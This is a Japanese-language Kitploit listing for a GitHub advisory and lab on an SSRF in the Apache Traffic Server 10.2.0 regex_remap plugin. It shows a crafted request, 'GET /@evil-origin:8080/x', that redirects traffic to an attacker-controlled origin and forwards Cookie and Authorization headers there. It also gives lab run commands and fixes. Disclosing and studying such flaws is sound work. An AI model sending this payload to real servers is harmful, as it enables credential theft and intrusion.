Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ats-regex-remap-userinfo — Apache Traffic Server 10.2.0 - 高 - リモート - SSRF - regex_remap noslash $n userinfo オリジンテイクオーバー | Kitploit
ツール/GitHubGitHub/abraxas/ats-regex-remap-userinfo
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティラボと実践
GitHubabraxas/ats-regex-remap-userinfo

ats-regex-remap-userinfo

Apache Traffic Server 10.2.0 - 高 - リモート - SSRF - regex_remap noslash $n userinfo オリジンテイクオーバー

リポジトリを見る
14日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Abraxas Labs - ats-regex-remap-userinfo

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  ats-regex-remap-userinfo

ats-regex-remap-userinfo

クラス: SSRF 到達範囲: リモート

Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation

regex_remap の $n 置換は文字列に連結され、TSUrlParse に渡されます。TSUrlParse は url_clear の後、完全な URL として解析します。@ で始まるキャプチャは RFC 3986 の userinfo であるため、オペレータのオリジンが userinfo になり、攻撃者のホストがオリジンになります。Cookie と Authorization は ATS の uid として転送されます。

残るのは http://origin:port$1(スラッシュなし)です。ドキュメントに記載された http://origin/$1 は、スラッシュが authority を終端させるため、オペレータのオリジンにとどまります。プラグインはデフォルトではロードされません。

これは CVE-2026-58179(url_len VLA、現在は LocalBuffer)ではなく、CVE-2026-22068(コアの regex_map は完全アンカー)でもありません。

IDCVE 未割当
クラスSSRF
到達範囲リモート(未認証 HTTP)
CWECWE-918
CVSSHigh: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
製品Apache Traffic Server
影響対象10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so スラッシュなし $n
認証なし。プラグインはロード済み。置換 http://origin:port$1。
ライセンスGNU Affero GPL v3.0
ラボ127.0.0.1:18730 のみ。イメージ ats-10.2.0-lab:local。

タグ 10.2.0、コミット b1df7334b39a878971c376da849e8da4984918b6 に固定しました。ソースからビルドしたイメージです。

攻撃者ができること

vhost の remap が regex_remap.so をロードし、host:port の直後にスラッシュなしで $n を置いている場合、未認証 HTTP で攻撃できます。

手法シンク権限
置換 http://good-origin:8080$1 に対して GET /@evil-origin:8080/xurl_clear 後の TSUrlParse(regex_remap.cc:1159-1168、URL.cc:1313-1327)整合性 / SSRF(ラボで実証済み): ATS は evil-origin:8080 をオリジンとして接続します(userinfo=good-origin:8080)。Cookie と Authorization が転送されます。
同上攻撃者オリジンのボディ偵察(ラボで実証済み): ATS-REGEX-REMAP-USERINFO-WITNESS がクライアントに返されます。cookie-fwd=True authorization-fwd=True。
ドキュメント記載の置換 http://good-origin:8080/$1authority は / で終端クローズ(ラボで実証済み): good-origin にとどまりました。
置換 http://$1オペレータが $n を authority に置いた場合SSRF(ラボで実証済み): これも evil-origin に到達しました。別種のオペレータのミスです。

ラボで実証済み vs 推測: スラッシュなしの残存、ドキュメント記載のスラッシュはとどまる、dollar-at / dollar-host も evil に到達、Cookie と Authorization が転送される、good-origin 上の制御 /ok はラボで確認済み。攻撃者オリジンがこれらのヘッダで何を行えるかは、そのホストが元々何であるかによります。

必要条件: regex_remap プラグイン。置換 http://origin:port$1(スラッシュなし)のマップ。remap_required は 1 のままでした(オープンリレーではありません)。

クローズされたままの隣接面

面ラボ
ドキュメント記載の http://origin/$1slash=good
コアの regex_map ホストRE_ANCHORED|RE_ENDANCHORED(CVE-2026-22068 はクローズ)
url_len スタックLocalBuffer(CVE-2026-58179 はクローズ)
remap_required: 0 のオープンリレー未使用
制御 GET /okgood-origin、witness なし

発見の経緯

regex_remap は $n から dest 文字列を構築し、その全体に対して TSUrlParse を呼び出します。URL.cc の @ は userinfo です。http://good-origin:8080 + @evil-origin:8080/x を連結すると、パーサーは RFC 3986 のとおりに動作します。

まずドキュメントに記載された形式を試しました。http://good-origin:8080/$1 にパス /@evil-origin:8080/x を渡すと http://good-origin:8080/@evil-origin:8080/x になります。スラッシュで authority が終了します。good-origin のままです。これは残存する問題ではありません。

次に http://good-origin:8080$1(スラッシュなし)。dest は http://good-origin:8080@evil-origin:8080/x になります。userinfo=good-origin:8080、host=evil-origin。evil origin 上での証拠です。Cookie と Authorization も一緒に付いてきました。

誤った方向性:ドキュメント記載のスラッシュ形式を問題として報告すること;コアの regex_map をこのプラグインと同一視すること;url_len VLA を過大評価すること(修正済み);http://$1 を唯一の残存問題とみなすこと(これは2つ目のオペレータの誤りであり、スラッシュなしのものではありません)。

実演:リバースシェル。オラクルは origin のボディに加え、転送された Cookie / Authorization です。

ラボ

python3 ats-regex-remap-userinfo-Abraxas-Labs.py

または

cd lab
./run.sh

ループバック 127.0.0.1:18730(evil オリジンも 18731 で公開)。Compose プロジェクト ats-regex-remap-userinfo。イメージ ats-10.2.0-lab:local。3 つの vhost: slash / noslash / dollar。ウィットネス ATS-REGEX-REMAP-USERINFO-WITNESS。最終行:

SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS

修正

$n を authority に連結しないでください。ホストとキャプチャの間にスラッシュを残すか、subst をパスのみとして解析してください。ホストがオペレーターのオリジンでない dest は拒否してください。プラグインが構築した URL から userinfo を除去してください。ドキュメントは、http://origin/$1 がオペレーターが記述する唯一の形式であるかのような示唆をやめるべきです。

参考資料

  • github.com/apache/trafficserver タグ 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6)
  • regex_remap.cc subst 後の TSUrlParse
  • URL.cc @ userinfo
  • InkAPI.cc TSUrlParse
  • CWE-918
ツールをダウンロード